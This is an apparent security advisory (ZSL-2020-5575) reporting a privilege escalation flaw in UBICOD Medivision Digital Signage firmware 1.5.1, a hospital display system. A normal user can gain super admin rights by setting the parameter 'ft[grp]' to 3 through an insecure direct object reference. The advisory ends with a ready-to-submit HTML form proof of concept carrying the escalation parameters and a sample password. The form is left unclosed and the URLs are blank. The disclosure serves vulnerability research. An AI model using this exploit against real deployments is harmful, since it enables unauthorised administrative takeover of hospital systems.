UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass  
Vendor: UBICOD Co., Ltd. | MEDIVISION INC.  
Product web page:  
Affected version: Firmware 1.5.1 (2013.01.3)  
Summary: Medivision is a service that provides everything from DID operation to  
development of DID (Digital Information Display) optimized for hospital environment  
and production of professional contents, through DID product installation, image,  
video content planning, design work, and remote control. This is a one-stop solution  
that solves management at once.  
Desc: The application suffers from a privilege escalation vulnerability. Normal user  
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an  
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super  
admin rights.  
Tested on: Apache/2.4.7 (Ubuntu)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2020-5575  
Advisory URL:  
<form action="" method="POST">  
<input type="hidden" name="aa[_id]" value="157" />  
<input type="hidden" name="aa[pass]" value="123456" />  
<input type="hidden" name="od[]" value="name" />  
<input type="hidden" name="ft[grp]" value="3" />  
<input type="hidden" name="ip" value="0" />  
<input type="hidden" name="np" value="13" />  
<input type="submit" value="Submit request" />